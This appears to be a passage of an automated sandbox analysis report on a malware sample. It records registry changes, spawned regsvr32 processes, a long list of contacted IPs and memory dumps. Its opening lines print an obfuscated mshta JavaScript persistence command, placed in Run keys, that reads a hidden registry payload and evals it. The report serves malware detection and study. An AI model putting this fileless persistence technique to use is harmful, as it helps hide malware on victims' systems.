Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:brzq0COCi=\"IXrxO3\";p81r=new%20ActiveXObject(\"WScript.Shell\");ieL6geGpv=\"WTI6\";m2T4aB=p81r.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\445f9b850c\\\\f71cd2f3\");c5zagSH=\"U\";eval(m2T4aB);z9fni3ar=\"6ZQq9F\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:WC33VGYXxs=\"LnmxQbC\";LE28=new%20ActiveXObject(\"WScript.Shell\");cNDm9jUr=\"Ww0aoynGHQ\";T3FBn=LE28.RegRead(\"HKCU\\\\software\\\\445f9b850c\\\\f71cd2f3\");xHn1aOf=\"c2YOtYUMME\";eval(T3FBn);A9FAAspNq=\"zHOWBy\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\139e45cefa3527737d5406de8f6ad1b9_JaffaCakes118.exe"

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
NL 23.62.61.112:443 www.bing.com tcp
US 8.8.8.8:53 112.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 205.111.185.13:80 tcp
US 48.125.136.69:80 tcp
CN 122.238.177.112:80 tcp
GB 25.89.201.102:80 tcp
BR 201.67.60.63:443 tcp
US 161.213.191.45:80 tcp
US 6.245.99.95:80 tcp
JP 60.113.232.217:80 tcp
BE 138.203.110.214:80 tcp
AU 13.237.157.48:80 tcp
DE 51.166.99.14:8080 tcp
SK 85.216.177.242:80 tcp
IN 103.60.50.180:80 tcp
CN 123.127.210.135:80 tcp
US 143.207.135.212:80 tcp
ZA 168.253.193.174:80 tcp
CN 36.210.16.56:80 tcp
CN 116.7.150.105:80 tcp
NO 46.9.108.23:80 tcp
CN 175.189.245.53:80 tcp
US 134.13.105.245:80 tcp
JP 221.246.7.70:80 tcp
CN 175.58.160.57:80 tcp
US 167.228.189.156:80 tcp
DE 149.222.189.60:80 tcp
DE 92.74.33.130:80 tcp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 169.94.196.115:80 tcp
BR 177.113.54.47:80 tcp
US 108.43.121.85:80 tcp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 140.71.91.104.in-addr.arpa udp
US 205.138.63.83:80 tcp
US 207.33.134.2:80 tcp
CN 140.207.217.137:80 tcp
CN 221.195.82.161:80 tcp
DE 137.248.210.80:80 tcp
US 158.145.244.53:80 tcp
US 147.216.97.1:80 tcp
ET 196.188.106.248:80 tcp
NL 20.86.250.100:80 tcp
GB 86.21.135.243:80 tcp
CN 118.204.146.209:80 tcp
US 19.25.106.77:80 tcp
US 19.4.233.183:80 tcp
CN 218.75.126.255:80 tcp
US 68.73.150.196:80 tcp
US 71.197.125.79:80 tcp
HR 37.244.205.238:80 tcp
JP 126.219.172.131:80 tcp
KR 165.213.24.80:80 tcp
US 17.176.83.113:80 tcp
NL 82.168.63.51:443 tcp
US 184.220.125.69:80 tcp
US 162.250.56.49:80 tcp
US 168.5.214.227:80 tcp
US 32.22.145.13:80 tcp
US 66.228.251.130:80 tcp
US 149.24.221.21:80 tcp
US 34.133.117.117:80 tcp
US 173.250.145.54:80 tcp
FI 82.128.229.59:80 tcp
CN 49.152.112.93:80 tcp
US 199.115.70.161:80 tcp
US 199.220.46.82:80 tcp
KR 203.249.227.114:80 tcp
JP 203.140.132.156:80 tcp
FI 82.203.193.19:80 tcp
BY 93.84.249.66:80 tcp
DE 147.142.234.26:80 tcp
UA 94.179.129.196:80 tcp
UA 94.179.129.196:80 94.179.129.196 tcp
UA 94.179.129.196:443 tcp
US 8.8.8.8:53 196.129.179.94.in-addr.arpa udp
US 8.8.8.8:53 23.149.64.172.in-addr.arpa udp
BR 179.48.16.181:8080 tcp
US 96.110.124.228:80 tcp
US 164.74.157.159:80 tcp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 50.219.202.38:80 tcp
US 47.49.226.108:80 tcp
US 138.230.135.3:80 tcp
US 8.8.8.8:53 88.121.18.2.in-addr.arpa udp
US 96.100.160.91:80 tcp
NZ 155.32.5.8:443 tcp
US 137.89.142.73:80 tcp
US 76.107.204.124:80 tcp
US 132.198.110.157:80 tcp
AU 120.88.124.182:8080 tcp
US 52.191.116.37:80 tcp
MA 105.156.114.240:80 tcp
CN 121.9.236.12:80 tcp
DE 160.56.220.220:80 tcp
US 34.72.168.34:80 tcp
ES 37.15.252.117:80 tcp
US 9.202.18.149:80 tcp
US 21.135.15.138:80 tcp
CN 182.122.52.253:80 tcp
BE 84.194.255.54:80 tcp
US 209.43.29.217:80 tcp
CN 117.30.148.146:80 tcp
JP 153.175.203.228:80 tcp
RU 212.15.43.236:80 tcp
FI 62.78.149.166:80 tcp
US 136.46.102.10:80 tcp
AR 186.4.73.191:8080 tcp
BR 131.100.6.173:80 tcp
US 147.56.231.69:80 tcp
US 149.94.142.250:80 tcp
US 66.161.180.249:443 tcp
KR 61.103.198.62:80 tcp
ZA 41.195.47.135:80 tcp
CL 186.67.31.155:8080 tcp
IT 141.250.196.149:8080 tcp
DE 62.53.237.12:80 tcp
ID 39.240.190.70:80 tcp
CN 183.135.99.57:80 tcp
US 11.18.153.102:80 tcp
US 166.237.59.32:80 tcp
JP 157.82.139.197:80 tcp
MA 154.145.17.241:80 tcp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 155.157.56.46:80 tcp
US 9.255.101.46:80 tcp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
CH 147.167.111.11:80 tcp
US 64.196.11.110:80 tcp
CN 113.75.233.177:80 tcp
N/A 127.211.124.155:80 tcp
CN 113.31.73.92:80 tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
JP 133.211.28.71:80 tcp
KR 43.200.11.75:8080 tcp
DE 93.210.3.230:443 tcp
US 206.14.128.115:80 tcp
CN 125.115.150.179:443 tcp
US 97.116.245.26:443 tcp
KR 49.161.19.88:80 tcp
CN 114.82.222.154:80 tcp
US 155.36.47.180:80 tcp
DE 79.239.214.169:80 tcp
CN 222.163.164.179:80 tcp
US 68.139.132.81:80 tcp
US 30.89.182.15:80 tcp
UA 94.179.129.196:80 94.179.129.196 tcp
UA 94.179.129.196:443 tcp
US 65.199.11.205:80 tcp
US 173.146.115.205:80 tcp
KR 14.39.104.189:80 tcp
CA 142.246.37.164:80 tcp
DE 92.228.25.82:80 tcp
FR 90.116.84.228:80 tcp
VN 171.241.89.88:80 tcp
SD 105.239.144.219:80 tcp
US 214.254.85.87:80 tcp
US 198.51.209.194:8080 tcp
ZA 105.255.180.39:80 tcp
JP 120.75.168.156:80 tcp
US 104.154.246.48:80 tcp
EG 45.101.244.40:80 tcp
US 38.223.31.121:80 tcp
US 38.38.155.29:80 tcp
US 8.8.8.8:53 29.155.38.38.in-addr.arpa udp
JP 110.67.210.24:8080 tcp
US 63.109.207.8:80 tcp
KR 210.105.89.90:80 tcp
HK 223.119.116.200:80 tcp
JP 210.162.250.8:443 tcp
ID 39.249.66.156:443 tcp
DE 53.37.216.82:80 tcp
US 70.152.251.131:80 tcp
US 146.138.63.221:443 tcp
US 205.94.132.178:8080 tcp
SE 31.15.51.30:80 tcp
US 108.223.80.96:80 tcp
US 18.123.211.204:443 tcp
BR 177.30.249.83:8080 tcp
US 45.119.208.75:80 tcp
US 206.19.181.233:80 tcp
US 33.117.189.119:8080 tcp
US 162.6.124.168:80 tcp
US 208.63.141.228:80 tcp
KR 169.140.134.59:80 tcp
CN 58.196.19.32:80 tcp
US 150.199.214.217:80 tcp
US 137.206.212.212:80 tcp
AZ 213.154.21.110:80 tcp
IT 172.252.207.116:80 tcp
US 3.167.241.51:80 tcp
TW 210.66.125.225:80 tcp
US 152.144.124.144:80 tcp
CN 115.206.96.87:80 tcp
US 208.88.169.64:80 tcp
GB 130.209.39.128:80 tcp
BR 201.58.68.104:80 tcp
VE 150.187.10.52:80 tcp
CN 119.138.26.240:80 tcp
TW 118.162.155.206:80 tcp
NL 161.90.6.253:80 tcp
CN 113.112.2.1:80 tcp
US 12.156.221.138:80 tcp
US 33.240.102.205:443 tcp
CN 115.45.180.131:8080 tcp
US 76.37.127.201:80 tcp
KR 210.116.146.89:80 tcp
KR 27.161.179.115:80 tcp
US 137.148.196.231:80 tcp
US 169.144.76.17:80 tcp

Files

memory/3328-1-0x00000000005A0000-0x00000000005A1000-memory.dmp

memory/3328-0-0x0000000002520000-0x0000000002564000-memory.dmp

memory/3328-2-0x0000000002520000-0x0000000002564000-memory.dmp

memory/3328-3-0x0000000000400000-0x0000000000464000-memory.dmp

memory/3328-5-0x0000000002870000-0x000000000293C000-memory.dmp

memory/3328-9-0x0000000002870000-0x000000000293C000-memory.dmp

memory/3328-8-0x0000000002870000-0x000000000293C000-memory.dmp

memory/3328-7-0x0000000002870000-0x000000000293C000-memory.dmp

memory/3328-6-0x0000000002870000-0x000000000293C000-memory.dmp

memory/3328-11-0x0000000002870000-0x000000000293C000-memory.dmp

memory/3328-16-0x0000000000400000-0x0000000000464000-memory.dmp

memory/2400-17-0x0000000000F30000-0x0000000000F39000-memory.dmp

memory/2400-18-0x0000000000F30000-0x0000000000F39000-memory.dmp

memory/2400-20-0x0000000000F30000-0x0000000000F39000-memory.dmp

memory/2400-21-0x0000000000800000-0x00000000008CC000-memory.dmp

memory/2400-23-0x0000000000800000-0x00000000008CC000-memory.dmp

memory/2400-25-0x0000000000800000-0x00000000008CC000-memory.dmp

memory/2400-24-0x0000000000800000-0x00000000008CC000-memory.dmp

memory/2400-22-0x0000000000800000-0x00000000008CC000-memory.dmp

memory/2400-26-0x0000000000800000-0x00000000008CC000-memory.dmp

memory/3584-31-0x0000000000F30000-0x0000000000F39000-memory.dmp

memory/3584-36-0x0000000000F30000-0x0000000000F39000-memory.dmp

memory/3584-34-0x0000000000F30000-0x0000000000F39000-memory.dmp

memory/3584-37-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3584-38-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3584-42-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3584-41-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3584-39-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3584-40-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3584-43-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3584-47-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3584-48-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3584-46-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3584-50-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3584-51-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3584-45-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3584-44-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3584-49-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/2080-52-0x0000000000F30000-0x0000000000F39000-memory.dmp

memory/2080-55-0x0000000000F30000-0x0000000000F39000-memory.dmp

memory/2080-53-0x0000000000F30000-0x0000000000F39000-memory.dmp

memory/2080-56-0x0000000000E00000-0x0000000000ECC000-memory.dmp

memory/2080-57-0x0000000000E00000-0x0000000000ECC000-memory.dmp

memory/2080-61-0x0000000000E00000-0x0000000000ECC000-memory.dmp

memory/2080-60-0x0000000000E00000-0x0000000000ECC000-memory.dmp

memory/2080-58-0x0000000000E00000-0x0000000000ECC000-memory.dmp

memory/2080-59-0x0000000000E00000-0x0000000000ECC000-memory.dmp

memory/3584-62-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3584-63-0x0000000000D00000-0x0000000000DCC000-memory.dmp

memory/3192-64-0x0000000000F30000-0x0000000000F39000-memory.dmp

memory/3192-65-0x0000000000F30000-0x0000000000F39000-memory.dmp

memory/3192-67-0x0000000000F30000-0x0000000000F39000-memory.dmp

memory/3192-68-0x0000000000A00000-0x0000000000ACC000-memory.dmp